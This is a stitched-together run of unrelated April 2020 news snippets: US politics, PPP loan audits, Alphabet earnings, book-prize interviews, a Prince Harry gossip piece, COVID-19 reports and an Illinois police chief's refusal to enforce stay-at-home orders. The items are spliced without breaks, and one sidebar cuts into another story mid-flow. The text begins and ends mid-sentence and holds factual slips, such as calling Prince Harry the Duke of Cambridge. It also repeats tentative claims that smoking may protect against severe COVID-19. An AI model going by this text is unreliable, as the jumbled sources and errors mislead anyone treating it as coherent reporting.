conference. I want to add my voice to the many who have endorsed you to be our president, Clinton said. Just think what a difference it would make right now if we had a president who not only listened to the science, put facts over fiction, but brought us together, showed the kind of compassion and caring that we need from our president and which Joe Biden has been exemplifying throughout his entire life. That apart, the company will also announce its results for the quarter ended March 2020 (Q4FY20) on the same day. According to analysts, the company's decision to consider rights issue is unexpected; however, considering that the equity markets may not do well in the near-term due to Covid-19 crisis, the company may have resorted to the rights issue to raise money. "RIL may ... Dear Reader, Business Standard has always strived hard to provide up-to-date information and commentary on developments that are of interest to you and have wider political and economic implications for the country and the world. Your encouragement and constant feedback on how to improve our offering have only made our resolve and commitment to these ideals stronger. Even during these difficult times arising out of Covid-19, we continue to remain committed to keeping you informed and updated with credible news, authoritative views and incisive commentary on topical issues of relevance. We, however, have a request. As we battle the economic impact of the pandemic, we need your support even more, so that we can continue to offer you more quality content. Our subscription model has seen an encouraging response from many of you, who have subscribed to our online content. More subscription to our online content can only help us achieve the goals of offering you even better and more relevant content. We believe in free, fair and credible journalism. Your support through more subscriptions can help us practise the journalism to which we are committed. Support quality journalism and subscribe to Business Standard. Digital Editor US Representative Alexandria Ocasio-Cortez the outspoken progressive congresswoman from New York City has more than a dozen challengers gunning for her seat, including a Republican-turned-Democrat whod formerly shacked up at a Trump property. Michelle Caruso-Cabrera, 53, a former CNBC host, is challenging Ms Ocasio-Cortez, and has spent much of her campaign trying to undermine the narrative surrounding the freshman representatives upbringing. Ms Ocasio-Cortez was born in the Bronx and moved to nearby Westchester County when she was five years old. After college, Ms Ocasio-Cortez moved back to the Bronx, where she worked as a bartender before launching her historic insurgent primary campaign against former US Rep Joe Crowley. Ms Caruso-Cabrera has tried to paint Ms Ocasio-Cortez as a carpet-bagger and a fraud, suggesting the story of her upbringing is a fabrication. She has accused Ms Ocasio-Cortez of sheltering in a luxury Washington, D.C. apartment and ignoring her constituents at a time when New York City has become the epicentre for the US coronavirus outbreak. Speaking with Business Insider, Ms Caruso-Cabrera said the incumbent congresswoman was out of touch with her constituents and doesnt know what it takes to put food on the table and to put a roof over the head of a family. Shes from Westchester, dont forget. She didnt grow up in the Bronx like she claims, Ms Caruso-Cabrera said. And everyone in the Bronx knows it. Ms Caruso-Cabrera who formerly described herself as a Whole Foods Republican is challenging Ms Ocasio-Cortez from the right as a business-friendly centrist. Despite taking exception to Ms Ocasio-Cortezs history with the district, Ms Caruso-Cabrera only moved into New Yorks 14th District last year, and previously lived in Manhattan. While she and her husband were living in Manhattan, Ms Caruso-Cabrera was living in Trump International Hotel and Tower on Columbus Circle in Manhattan. According to StreetEasy, the apartment rented for nearly $15,000 a month in 2011. Other apartments in the building were offered between $9,000 and $13,000. Ms Caruso-Cabrera said she entered the race after Ms Ocasio-Cortez opposed the citys deal with Amazon to put a second headquarters in Queens. The Intercept reported that the US Chamber of Commerce which is a business lobbying group that generally backs Republicans is planning to endorse Ms Caruso-Cabrera, and more than four dozen Wall Street executives, including prominent leaders at Goldman Sachs and other private equity concerns, had donated to her campaign. During her interview with Business Insider, Ms Caruso-Cabrera who formerly called Medicare and Social Security the countrys biggest pyramid schemes and suggested in a book they should both be privatised insisted she no longer had outward disdain for social safety net programmes. That book is quite old, and would I have written that book differently? Yes, I would have, she said. What I would tell you is that I absolutely believe in preserving Social Security and Medicare, especially for the poor and the elderly. In addition to calling for the privatisation of Medicare and Social Security, Ms Caruso-Cabreras book also included a forward by President Donald Trumps trade adviser Larry Kudlow, an entire chapter dedicated to praising the massive corporate tax cuts enacted under the administration of US President Ronald Reagan, and a section claiming that the US cracking down on ultra-wealthy people making use of tax havens was anti-democratic. Freedom and democracy are best secured when banking secrecy and tax havens exist, Ms Caruso-Cabrera wrote. Though Ms Caruso-Cabrera has tried to distance herself from the book, she was promoting it as recently as October 2018. Treasury Secretary Steven Mnuchin speaks during the daily briefing on the novel coronavirus, COVID-19, in the Brady Briefing Room at the White House on April 2, 2020, in Washington, DC. Treasury Secretary Steven Mnuchin told CNBC on Tuesday the government will audit any company taking out more than $2 million from the small business loan program. The government program allows companies to have their loans forgiven, provided they spend the funds on payroll, benefits, rent and utilities. The Paycheck Protection Program faced backlash after several public companies disclosed they had taken out the loans, which were intended to help small businesses with fewer than 500 employees weather the coronavirus crisis. "I'm going to be putting out an announcement later this morning that for any loan over $2 million, the Small Business Administration will be doing a full review of that loan before there is loan forgiveness," Mnuchin said on "Squawk Box." "This was a program designed for small businesses. It was not a program that was designed for public companies that had liquidity.'" More than 220 public companies applied for at least $870 million from the government program, according to the Washington-based data analytics firm FactSquared. Those companies included Auto Nation and Ruth's Hospitality Group. Ruth's Hospitality Group, which owns Ruth's Chris Steak House, took a $20 million PPP loan. AutoNation took a $77 million loan. Both companies have said they would return the money. The Los Angeles Lakers, the NBA's second-most valuable team, took out a $4.6 million loan, and announced Monday it had returned it. "I'm not a big fan of the fact that they took a $4.6 million," Mnuchin said. "I think that's outrageous." According to guidance posted by the Small Business Association on April 23, borrowers must "certify in good faith" their loan request is "necessary." "It is unlikely that a public company with substantial market value and access to capital markets will be able to make the required certification in good faith, and such a company should be prepared to demonstrate to SBA, upon request, the basis for its certification," the guidelines states. Mnuchin said Tuesday he did not fault the banks that stewarded those loans, but, instead, the companies that applied for them that did not need. The program quickly ran out of initial $349 billion allotments as established by the $2.2 trillion CARES Act, before injecting another $310 billion into the program in a bill passed last week. Trump signed the bill, which also included funds for hospitals and testing, into law on Friday. Both rounds of funding have been hampered by glitches, as too many banks trying to jam loans into SBA loan portal. Oversight of the more than $2 trillion CARES Act has been a key issue for lawmakers, amid concerns the funds would go to companies that do not need it. Sen. Elizabeth Warren, D-Mass, wrote a letter to the Office of the Inspector General for the U.S. Small Business Administration last week urging a "broad investigation into the program's implementation." The administration has pushed back against several of the oversight functions that Democrats have pushed for. President Donald Trump earlier this month removed the lead watchdog overseeing the $2 trillion coronavirus package, just days after the official, Glenn Fine, was appointed to the role. Jordan's King Abdullah Il on Monday chaired a teleconference meeting with governors, where he discussed the importance of stepping up coronavirus awareness messages to the public as various sectors gradually resume operation. Abdullah warned that failure to comply with health regulations would take Jordan's strategy for dealing with the virus "two steps back" Meanwhile, the Jordanian government has decided to allow citizens to use their vehicles inside the governorates between 8am and 6pm. Authorities also have decided to allow additional sectors to resume work such as hairdressing salons for men, beauty salons, laundries, accessories and cosmetics shops, watch and shoe repair shops, as well as the financial auditors, tax and accounting consulting and financial managers sectors. Jordan has recorded 449 positive cases of the virus and seven deaths, according to Health Minister Saad Jaber. Prince Harry is not exactly like the ideal Prince Charming people often read in fairytale books. After all, he has been involved in multiple scandals over the past few years. Growing up, Prince Harry showed his bad boy side a lot while ignoring the fact that he has to act like a royal. He never even had to stress about totally pouring himself to learn all the royal codes since he is somehow far from the throne based on the royal line of succession. However, there were times that the Duke of Cambridge acted like someone else that he ended up bringing embarrassment to the royal family. Cheating Royal The Duke of Sussex once showed that he was a cheater. In fact, it looked like cheating in different aspects of his life was different and acceptable for him. Just like how he got nicknamed a "weak person" in school, Prince Harry became infamous for surviving his A-level art course with the help of his former teachers at Eton College. One of his teachers allegedly prepared explanatory text to describe the images created by the royal prince. In addition, Sarah Forsyth, one of his former teachers, revealed that his art exam result was flawed so that he could enter the elite college. "I was concerned that this was unethical and probably constituted cheating," Forsyth told the tribunal at Reading, Berkshire at the time of the issue. "I assumed I had been asked to do this because Prince Harry was a weak student." Prince Harry's Casual Make Out Session Back in 2001, the Duke of Sussex was photographed in a casual make-out session with his former girlfriend while their unidentified female friends were watching them. The two even bravely did it at the back of an old VW car before they had one more straddling moment together. Aside from this incident, a girl named Carrie Reichert opened up to Mirror about how she spent some private time with Prince Harry. "We kissed, he was naked at the time, and pretty open. It was a drunken fumble. It wasn't romantic, just fun," Carrie narrated. "He was a gentleman, but he was so wasted. The alcohol affected him. I was there for 15 to 20 minutes." She added that Prince Harry liked random naked hugs. But all his acts became too lewd to be heard by everyone else. Prince Harry's Baddest Moment With Media It is a good thing that the Duke is a grown-up man now, so British tabloids are still lucky enough not to experience what Prince Harry did in 2004. Years ago, the royal prince got into a fistfight with a paparazzi that caused the photographer to have a cut lip. "Prince Harry was hit in the face by a camera as photographers crowded around him as he was getting into a car," a Clarence House spokesman said. "In pushing the camera away, it's understood that a photographer's lip was cut." However, the photographer, Chris Uncle, released a contrasting story and told the London Evening Standard that Prince Harry "deliberately lashed out". While there are still more scandals that are waiting to be brought into the limelight again, Prince Harry's recent exit from the royal family is undoubtedly the most dishonoring so far. All eyes are on Alphabet. Shares of the Google parent rose more than 3% in extended trading Tuesday after the company reported its earnings results for the first quarter. Alphabet's revenue, which some were worried could weaken as companies cut ad spending on its platforms, topped analysts' expectations, while earnings missed. It marks only the second time ever the tech company disclosed revenue figures for YouTube and Google Cloud. "Eighty percent of revenues are still coming from advertising, and the lockdown has hurt a ton of businesses, both small businesses and large, like travel," Mark Tepper, president and CEO of Strategic Wealth Partners, said ahead of the report Tuesday on CNBC's "Trading Nation." "The first thing that gets cut out is ad spending, so, obviously, our eyes are on that," he said. Alphabet's overall revenue for Q1 was $41.16 billion, down from $46.08 billion in the prior quarter. The company's revenue growth rate slowed to 13% in the quarter from 17%. While digital marketing as an industry is likely to endure through the coronavirus-driven economic slowdown, Alphabet's recovery won't be "immediate," Tepper said. "They're going to see ad spend drop and then it's going to take a few months for this stuff to ramp up before the ad spend follows," he said of companies revisiting their marketing strategies. "So, if you can deal with some short-term pain, some short-term blemishes here, I do think this is a stock that's a great hold for the long run, but it's probably more of a second-half story." JC O'Hara, chief market technician at MKM Partners, praised mega-cap tech stocks like Alphabet for their leadership heading into the market's February highs and out of its March lows, saying he liked the group on a long-term basis. "However, it's the shorter-term setup that, technically, I'm a little worried about," he said in the same "Trading Nation" interview, citing Alphabet's chart. "If you look at the chart, there is clear support at the $1,000 area," O'Hara said. "That support was tested and held numerous times over the last few years, but on the other hand, there is clear resistance at 1,300." The $1,300 is "the exact level" where Alphabet met resistance and began to fall earlier this week, O'Hara said. "For me, it's always difficult to buy a stock right in front of earnings while it's sitting right underneath significant resistance," he said. "So, longer term, I do like it, just short term, I'm a little bit cautious on the technical setup here." Alphabet shares closed 3% lower at $1,232.59 on Tuesday. The stock has fallen about 8% year to date. Disclosure: Strategic Wealth Partners owns shares of Alphabet. Disclaimer The first annual BookLife Prize Nonfiction Contest welcomed hundreds of submissions in the categories of Memoir/Autobiography, Self-Help/Relationships, Business/Personal Finance, and Inspirational/Spiritual. The four finalists, selected from among 20 semifinalists by a panel of guest judges, include a collection of mini-memoirs about underrepresented women from history, an exploration of a medieval saints ancient wisdom, a philosophical guide to finance and personal fulfillment, and a cogent examination of parenting styles. The grand prize winner of the contest will be announced on May 18. PW spoke to each of the finalists to learn more about their books, their backgrounds, and their writing processes. Memoir/Autobiography FIERCE: Essays by and About Dauntless Women edited by Karyn Kloumann According to guest judge Anya Yurchyshyn, "The 13 essays in FIERCE are as bold and unique as the women that inspired them. The book is more than a celebration of a diverse group of activists, agitators, and iconoclasts whose lives and accomplishments have largely been ignored by historyits an examination of the systematic oppression that led to this erasure and continues to exclude women to this day." Karyn Kloumann, who conceived of the project and edited the essays, discussed the unique collaboration. Tell me the story behind the FIERCE project. FIERCE is a passion project with a 10-year incubation period. After working professionally at Conde Nast for many years, losing my job, and then founding and building up Nauset Press, I decided it was time to go for it. I envisioned a brilliant anthology by writers with heart and soulbut not at the expense of their sharp intelligence. It took an additional three years to develop, write, edit, illustrate, copyedit, proofread, design, and produce FIERCE. Essays and illustrations were revised and polished over and over again to perfectly calibrate the book as a cohesive whole. How did you select the subjects and the contributors? I contacted writers I admired who were not available for book-length projects but willing to write an essay, and posted in an enormous Facebook group called Calls for Submissions (Poetry, Fiction, Art). I was seeking a diversity of life experiences, by geography, age, ethnicity, sexual orientation; the connector was going to be each writers passion, curiosity, and outstanding writing about her subject. FIERCE offers such a unique approach to memoir, serving more as a vital chorus of voices and communications than standalone pieces about womens lives. Could you discuss how you decided to structure these life stories in the way you did? The memoir component is critical to helping the reader to bridge and understand how and why the biographies of these overlooked women matter today. Additionally, asking each writer to choose a single word to describe their broad direction ensured that each essay would have its own unique arc and positioning within the whole, yet also subtly unites each distinctive narrative within the group. The thing I am most proud of is how each individual essay shines radiantly but also works harmoniously as part of the firmament that is FIERCE, investigating issues that affected women in the past that still resonate with and effect us today. Self-Help/Relationships Your Living Legacy: How Your Parenting Style Shapes the Future for You and Your Child by Shelli Chosak The critic's report for Your Living Legacy called the book "relatable and enduring," adding that it "stands apart from other guides aimed at conscientious parents, through its broad-ranging and comprehensive content." BookLife editor Matia Query described the book as "a winning blend of practical tools and thoughtful exploration of the indelible impact of parenting styles on adult lives." Chosak, a psychotherapist, shared her insights into the topic of parenting and psychological development. Can you tell me a bit about your background as a psychotherapist, writer, and parent? I was very shy as a child growing up, so I spent a lot of time listening. This helped me learn a lot about people, and I developed a curiosity about why people acted the way they did. I also spent a lot of time writing as a way of expressing feelings I wasn't comfortable sharing. Studying psychology was a natural path for me to follow. I started a psychotherapy practice upon graduation. I learned so much from the clients I saw, it rekindled my desire to write. My education was very helpful in learning how to become a better parent. Being a single parent made me even more motivated to be the best I could be. Your Living Legacy explores such a pertinent topichow parenting styles shape and enduringly impact usbut I havent seen another book that so pointedly discusses this idea. How did you come to research and write it? During my career, in addition to my therapy practice, I developed and directed a training program at a local university in Los Angeles. My discussion of parenting styles was the most popular topic of my workshops. One of my respected colleagues attended one of the workshops and suggested I write a book. In my research, I found only one main theoryit described four styles. In my work with clients, I found it inadequate to limit the range of interactions to those four and be as helpful to my clients as I wanted. The 20 styles I write about helped to explore a fuller range of the dynamics in parenting relationships. It provided my clients with greater understanding and gave them tools to improve their relationships Is it inevitable that our own parenting styles will be influenced by how we ourselves were parented? It is inevitable, because our parents are our first experience of our world. We are dependent on our parents/caregivers for our survival, and need to find ways to navigate those relationships to feel safe. We either do this by trying to be like them, or by being different from them, or some combination of both. In our early formative years, they are our primary teachers. Many parents are taking on new roles as educators during the Covid-19 crisis, while working from home themselves. Do you have some advice for parents struggling through these unprecedented challenges? It is a really challenging time, and whatever conflicts parents have previously had about work/life balance have increased exponentially. It's an opportunity to evaluate how well they have been living their priorities, and whether the stories they tell themselves about how they need to use their time are valid. It's also an opportunity to look at what assumptions they have about their work and their parenting and how those assumptions may be adding to their stress. One example--are there things you think you need to do for your children that they are capable of doing for themselves? Re-evaluating your beliefs can save parents time and stress while doing something beneficial for their children. Business/Personal Finance What is Water? How Young Leaders Can Thrive in an Uncertain World by Kayvan Kian Guest judge Erin Lowry valued Kian's candid approach to the topic of business and personal finance, as well as his nuanced blending of strategies for self-fulfillment and success. The book's critic's report similarly praised the book by saying "readers who like their advice books to be intellectually fortifying will value this unconventional guide to succeeding in an uncertain world." Kian, a management consultment and founder of an organization for youth leadership, spoke about the impetus behind his work. Can you discuss what inspired you to write What Is Water? Ever since childhood Ive always been interested in understanding how some people are able to thrive through challenging times in life, and Ive tried to practice these hard-fought lessons through the inevitable highs and lows of my own life. When I founded the Young Leaders Forum, I noticed how helpful these lessons were also to others, who would share their own thoughts and experiences as well. Eventually I felt that it could be helpful to make this content accessible to anyone who is going through tough times. It strikes me that What Is Water? offers a very philosophical and holistic perspective on personal finance. Can you talk about your unique approach to the topic and your rich source material? The approach draws on everything from ancient Stoic philosophy to The Sound of Music, in order to help the reader grow stronger through uncertain timesbe it as an entrepreneur, investor, business leader, or in any other context. These ways of thinking not only contribute to building the life you want in the future, but hopefully also help make today even more worthwhile. In addition to the broad range of sources, all the content and exercises have been filtered through the lens of what you can control, and are therefore simple, pragmatic, and easily transferable to teams, families, and communities. What are some of the factors that influence an individuals handling of financial and personal wellness matters, and how can readers begin to confront their own emotional and psychological obstacles? You can start by taking the time to become more aware of yourself, your context and those around you. This can help you take better decisions over time, not only for life's biggest questions, but also for its mundane, daily difficulties. Its not always easy to find the right time to think about the right questions, which is why the book is full of exercises that you can practice any moment of the day. What Is Water? could not be more relevant than in this current moment of uncertainty. What do you hope young readers will ultimately take away from the reading experience? I hope that they will see the book as a good friend, a guide that helps them sense that you have more choice, in any given moment, in any situation, no matter how uncertain the times. Inspirational/Spiritual Finding Hildegard: Healing Through Medieval Wisdom by Gregg Koskela Guest judge Melanie Shankle praised Gregg Koskelas Finding Hildegard, saying most of us have felt disillusionment with the church and will find Koskela's honesty refreshing and inspiring as it leads us to dig deeper into our own faith and relationship with God. Who was Hildegard of Bingen? Hildegard was a truly astounding and gifted woman, who lived from 1098-1179. Her songs have become the best-selling medieval compositions of all time. She was an abbess, a healer, a teacher. More of her letters survive than any other woman from the medieval periodshe corresponded with kings and emperors and popes, while hundreds wrote asking her advice. In the history of the Roman Catholic Church, only four women have been given the title of Doctor," designated the highest authority to teach theology, and Hildegard is one of them. Yet with all of that, I had missed her completely until a couple of years ago. Where did your interest in Hildegard originate, and what drew you to write about her? After ending decades of serving as a pastor, and watching my church and denomination go through a painful split, I started searching for ancient prayers to guide my own prayers. Looking back, so many of the people and ideas that had been my foundation shattered. Its easy to see now that I was looking for something stable, something that had stood the test of time. A google search pulled up one of Hildegards prayers, and it just captured me. I started devouring her writings and learning about her life. A huge step in my own healing journey was visiting Bingen, Germany on my own personal spiritual pilgrimage. I joined the nuns of St. Hildegard Abbey for their daily prayers, and began to write what became this book on that trip. Your book offers such a level of warmth and intimacy, though its subject is an individual from distant history. How did you achieve this? Im really glad thats how it came across! Honestly, what brought the intimacy for me was reading her work and watching some of her words leap off the page and touch my soul. Her words connected with the whispers of Gods Spirit as I have known them. It felt like, despite the title, she was the one who found me. My original plan was to write simple devotional thoughts, some of my reflections on her prayers that had been meaningful to me. But the very first time I wrote, swaying back and forth on a train through Germany, I was pulled much deeper to reflect on my own pain and struggle of the last several years. As it became real and personal to me, the writing became more intimate. At times of pain and disillusionment, how might readers discover solace and inspiration from the past? Such a great question, as were all facing a pandemic unknown in our lifetime. But so many from the past have been through painful things. Were not alone or unique in our struggle. I write about this moment when I was walking down the hill from St. Hildegard Abbey, gazing across the Rhine River at Bingen. And it was like I could see thousands of years of history and horror that played out in that very valley, including how American bombs destroyed it in World War II. But all I could see now, everywhere I looked, were infinite shades of life-giving green growth. Pain and disillusionment are part of the human condition, but I believe (along with Hildegard) that the eternal work of our Creator God is bringing new, green life. Our destruction and pain doesnt get the final word. Are you looking to traditionally publish Finding Hildegard? Not necessarily, although I wouldnt be opposed to it. Ive enjoyed the process and the options available to self-publish, although the marketing part is very difficult! Ive been working for years on a book called Finding Papa, my journey to discover more about my grandpas life. Unlike Finding Hildegard, its not overtly spiritual; its me trying to wrestle with important values I believe make us healthier people, like vulnerability and honesty. Now that Ive proven to myself I can bring a book to completion (a decades long desire!), I would love to find an agent or publisher for Finding Papa. A leading GP in Northern Ireland has urged parents of sick children not to delay seeking medical assistance after doctors in England were warned to look out for an infection that could be related to the coronavirus. An urgent alert was issued yesterday by NHS England, warning of an apparent rise in a "number of children of all ages" being admitted to intensive care suffering from "multi-system inflammation" with flu-like symptoms over the past three weeks. The cases have been reported in London and other parts of the UK. According to the alert, which has also been shared with GPs, children affected display signs similar to toxic shock syndrome (TSS), a severe illness associated with infections, and have blood markers in line with severe Covid-19 in children. They may also have abdominal pain and symptoms of inflammation around the heart. NHS England said the effects had been seen in children both with and without coronavirus but there was evidence that some patients had had coronavirus previously. The health body said it knew of fewer than 20 such cases where an association has been noted by clinicians. Investigations will continue, but no link has yet been established, a spokesman told the BBC. The alert talks about atypical Kawasaki disease, a condition that mainly affects children under the age of five. Symptoms include a high temperature that lasts for five days or more, often with a rash and/or swollen glands in the neck. NHS England stressed there was no confirmed connection between Kawasaki-related diseases and Covid-19. The Royal College of General Practitioners Northern Ireland (RCGPNI) told the Belfast Telegraph that "no official guidance" has yet been issued to GPs here on the syndrome. Its chairman, Dr Laurence Dorman, however, urged parents to not delay in seeking medical assistance if their child is feeling unwell. "RCGPNI would like to reassure patients and parents of children that we are still open and to come and see us if you are worried about your child," he said. "Our message is: do what you normally do when you are concerned about your own health or that of your child - ring your GP, we are here to help you." Professor Simon Kenny, the NHS's national clinical director for children and young people, stressed Kawasaki-like diseases are rare. However, he said it is also important clinicians are "made aware of any potential emerging links" in relation to these new cases. Meanwhile, Professor Russell Viner, president of the Royal College of Paediatrics and Child Health (RCPCH), said parents should be reassured that children are unlikely to be seriously ill with Covid-19. "We already know that a very small number of children can become severely ill with Covid-19 but this is very rare - evidence... shows us that children appear to be the part of the population least affected by this infection," he said. "New diseases may present in ways that surprise us, and clinicians need to be made aware of any emerging evidence of particular symptoms or of underlying conditions which could make a patient more vulnerable to the virus." Source: Xinhua| 2020-04-29 00:49:15|Editor: huaxia Video Player Close BEIJING, April 28 (Xinhua) -- Claims that the novel coronavirus came from China's National Biosafety Laboratory at the Wuhan Institute of Virology (WIV) were groundless and contradict all available evidence, said lab director Yuan Zhiming in a recent written interview with Reuters. Yuan said "malicious" claims about the lab had been "pulled out of thin air" and contradicted all available evidence. "The WIV does not have the intention and the ability to design and construct a new coronavirus," and "there is no information within the SARS-CoV-2 genome indicating it was man-made," he told Reuters. Some conspiracy theories were fuelled by a widely read scientific paper from the Indian Institute of Technology, since withdrawn, claiming that proteins in the coronavirus shared an "uncanny similarity" with those of HIV, the story said. Most scientists now say SARS-CoV-2 originated in wildlife, with bats and pangolins identified as possible host species. The scientific consensus is that the coronavirus evloved naturally, according to Reuters. "More than 70 percent of emerging infectious diseases originated from animals, especially wild animals," Yuan told Reuters. Scientists say that all seven known human coronaviruses have origins in bats, mice or domestic animals. The lab director also rejected theories that the lab had accidentally released a coronavirus it had harvested from bats for research purposes, saying the lab's biosecurity procedures were strictly enforced, Reuters said. "High-level biosafety labs have sophisticated protective facilities and strict measures to ensure the safety of laboratory staff and protect the environment from contamination," he said. He said that his institute was committed to transparency and would share all available data about the coronavirus in a timely fashion. As for the origin of the virus, Yuan told Reuters that there were "still no answers" about it. He cited a paper by British and German scientists published this month suggesting that the SARS-CoV-2 variant circulating in the United States was a more "primitive" version of the one in China, and might have appeared there first. ENERGY A letter that was intended just for Energy citizens and business owners has the villages police chief answering a lot of questions. In a letter dated April 24, Energy Police Chief Shawn Ladd laid out the following regarding Illinois Gov. J.B. Pritzkers COVID-19 executive orders and his department: With a long-held belief in the rule of law and order and an obligation to preserve the peace and protect the lives and property of the people, we are also honor bound to protect the people we serve from tyranny and government overreach in pursuit of these goals. The Village of Energy, Illinois, and by proxy, the Villages Departments and Agents hold no interest in any enforcement activities concerning any rules, regulations, declarations or proclamations that are morally or technically in violation of the provisions of the United States Constitution or the Constitution of the State of Illinois. In March, Pritzker ordered nonessential businesses closed and implemented a stay-at-home order for residents, mandating that travel be limited to essential travel only things like the doctors office and groceries. They also limited gatherings of more than 10, forcing many churches and religious groups to find other ways of congregating. Pritzker has been praised by many for the direct action taken to reduce the spread of COVID-19, which, in recent months, has left hundreds of thousands dead worldwide. And, others think a few of the orders are broad government overreach. Ladd falls into that camp. Ladd spoke Monday with The Southern about the letter, which he said has garnered far more attention than he thought it would. Ladd said hes had local business owners asking him a lot of questions about how they should proceed given Pritzkers executive. (Given) the contradictory information that people are being flooded with, I wanted my citizens and my business owners to know Energy isnt essentially picking sides one way or the other, Ladd said, adding that he hoped it would provide guidance on the issue on how business owners should proceed regarding these orders. Ladd said it is his understanding, after much research, that there is nothing requiring him or his officers to enforce the executive orders, especially when he sees some orders that violate either the state or U.S. constitutions. Harrisburg considers proposal to open up retail in defiance of stay-at-home order Harrisburg City Council on Tuesday will consider a proposal that would extend city permission to retail establishments to open to in-store customers, in direct opposition to the stay-home order Gov. Pritzker extended to May 30. Theres nothing in the constitution of the United States, theres nothing in the constitution of the State of Illinois and theres nothing in the ordinances of the City of Energy, to support criminal enforcement of the executive order, Ladd said. He can make suggestions, he said of his understanding of the governors powers in an emergency. One document Ladd used to back up his decision was an internal memo issued by a lead member of the State's Attorneys Appellate Prosecutor's Office. The memo, dated April 21, was from Chief Deputy Director David J. Robinson to Director Patrick J. Delfino. In it, he writes that he is not sure courts would uphold Pritzkers limitations on restaurants, bars and public and private gatherings. He writes that the states Emergency Management Act, among other things, gives the governor the ability to "perform and exercise any other functions, powers, and duties as may be necessary to promote and secure the safety and protection of the civilian population." In his memo, Robinson said the governors actions must be narrowly tailored to the compelling State interest. Summarizing his opinion, Robinson wrote: My research leaves me less than confident that a reviewing court will hold that the Governor has the authority (to) close businesses, (bars), attendance at church services and assemblies in excess of ten citizens. Sheila Simon, an assistant professor of law at Southern Illinois University Carbondale, wasnt so sure of Ladds or Robinsons position. My thoughts are that the governor does have emergency powers and they are pretty broad, she said. Simon said, in her estimation, the clause cited by Robinson actually gives the governor a lot of leeway. It does seem to be tailored to keeping us from harming each other, she said of Pritzkers COVID-19 orders, adding that until shes proven otherwise, this is her takeaway. Until we get a result of a case that says that the governor doesnt have this power Im assuming the governor does have power." As for the local enforcement of any violations of these orders, Simon did see it as a local law enforcement issue but maybe not one that needs to be a ticket. She said an officer needs to use discretion to find the best way to ensure their communities are behaving safely, per the governors executive order. When asked about whether it would be the one to enforce local law enforcements implementation of the governors order, a representative of the Illinois State Police wrote the following, noting the ISPs role as community caretakers. Local law enforcement and county health departments will typically be on the front lines of this mission which is geared toward ensuring public safety. While the goal is voluntary compliance, citizens should be aware that non-compliance with the Executive Order can result in criminal and civil sanctions, the representative wrote. In his conversation with The Southern, Ladd also took issue with the logic of some of the directives given in the governors orders. The recommendations dont make sense, Ladd said. He questioned why people can crowd into grocery stores but not get a haircut. When hes asked by locals about who would enforce the order and should a person start their business back up, Ladd has said, Thats between you and the governor. It will not be the Energy Police Department. Not all of the items in the order Ladd takes issue with because not all parts of the governors order are unconstitutional. He said he could even get behind a mandate that residents wear masks. We want people to be safe. We want them to be healthy, Ladd said. But, he said, he was not prepared to violate the oath he took to become a police officer one to uphold the constitution. If he is wrong, he said, the governor can send state law enforcement to come tell him. Ladd said he understood the incredible pressure state officials are under. But he questioned a statewide order. One size does not fit all, he said, echoing local lawmakers request that the governor take a regional approach to the COVID-19 fight. He said the pandemic in Southern Illinois does not look like it does in Chicago. There is no crisis at hand, so-to-speak he said of hospital overcrowding. Hes not alone in his thinking sheriffs in Perry and Johnson counties have recently made similar points online and through the media. The City of Harrisburg is even considering a wholesale reopening of the city during its meeting Tuesday. Ladd was firm in his conviction and said he had the support of his mayor, too. He said he is enforcing the law as he sees it. The governor is making judgement calls, Ladd said. I guess I am, too. Gallery: Southern Illinoisans show support, love from a distance A review of scientific studies has added more evidence to the claim that people who smoke might have a lower risk of becoming seriously ill with COVID-19. University College London academics looked at 28 papers and found the proportions of smokers among hospital patients were 'lower than expected'. One public health professor said there was 'something weird going on with smoking and coronavirus' and experts are struggling to explain the connection. One of the studies showed that in the UK the proportion of smokers among COVID-19 patients was just five per cent, a third of the national rate of 14.4 per cent. Another found in France the rate was four times lower. In China, a study noted 3.8 per cent of patients were smokers - despite more than half of the population regularly smoking cigarettes. When smokers do get diagnosed with the virus, however, they appear to be more likely to get so sick that they need ventilation, two studies in the review showed. Researchers admit that hospitals are probably not recording patients' smoking status properly, potentially because they are too busy, patients are too sick to answer, or because people lie in their answers. But they are struggling to knock down mounting evidence suggesting an apparent protective effect given by cigarettes, which one expert today admitted was 'weird'. A review of five early studies on the topic last month made the exact same conclusions - that smokers may avoid serious infection, but their outlook is worse if they do. University of College London reviewed 28 studies and found smoking rates were lower than expected among COVID-19 patients. The graph shows the smoking rate of each country against the percentage of smokers among COVID-19 patients. The lowest figure has been chosen for each country to show the stark comparison discovered by some studies The team are not the first to suggest smokers may be protected by their habit, after a slew of studies have spotted the unexpected link (stock image) Two of the authors on the recent UCL review received research grants from smoking cessation lobbies. Their paper was titled 'The association of smoking status with SARS-CoV-2 infection, hospitalisation and mortality from COVID-19: A living rapid evidence review' and was published on the study-sharing website Qeios. David Simons and colleagues looked at 28 studies involving more than 23,000 people. Twenty-two of the studies were conducted in China, three in the US, one in South Korea, one in France and one was an international study using mostly UK data. Only three of them split smoking status into three parts - current, former and never smokers. BORIS WAS BADLY AFFECTED BY CORONAVIRUS 'BECAUSE HE WAS OVERWEIGHT' A British NHS doctor claimed today that Prime Minister Boris Johnson was so badly affected by coronavirus because he is 'significantly' overweight. Consultant cardiologist Dr Aseem Malhotra said there is a ten-fold risk of death from the disease - which has so far killed more than 20,000 Britons - if patients are obese. He pointed out that other 'slimmer' members of the Cabinet - like Health Secretary Matt Hancock - recovered much more quickly and were not hospitalised. Other top Government officials and advisers who have recovered from the virus include Chief Medical Officer Chris Whitty, Chief Adviser Dominic Cummings and Health Minister Nadine Dorries. Mr Johnson, 55, has long struggled with his weight and in 2018 revealed he weighed almost 16 and a half stone, which at 5ft 9in puts him in the high risk category. Dr Malhotra said: 'It was obviously very concerning for the whole nation to see our Prime Minister get admitted to hospital with COVID-19. 'Now it is an observation, but it does fit with the evidence, Boris unfortunately is significantly overweight. 'I used to speak with one of his very senior advisers when he was London Mayor a few years ago who expressed to me personally concerns about his weight. 'People with obesity also seem to spread the virus for a much longer period of time and also clearly get sicker. 'If you notice Chris Whitty, Matt Hancock and other members of the Cabinet who got the virus did not get it as badly and they are essentially pretty slim. 'They do not seem to be affected by it the way he was.' Advertisement The other 25 only reported current and former smoking status, but there were questions around how many of the rest had never smoked, and how many had missing data. 'Notwithstanding these uncertainties, compared with national prevalence estimates, recorded current and former smoking rates in the included studies were generally lower than expected,' the study authors wrote. Data from the US suggests that smokers appear to be less likely to test positive for SARS-CoV-2 compared with never smokers. Rather than this reflecting likelihood of catching the virus in the first place, it is more likely to point to someone's risk of becoming so ill they have to go to hospital. Most of the countries involved in the studies did almost all of their testing in hospitals. But the researchers noted that smokers were more likely to be tested, possibly because their symptoms, like a cough, are more obvious due to their habit. 'We would therefore caution against 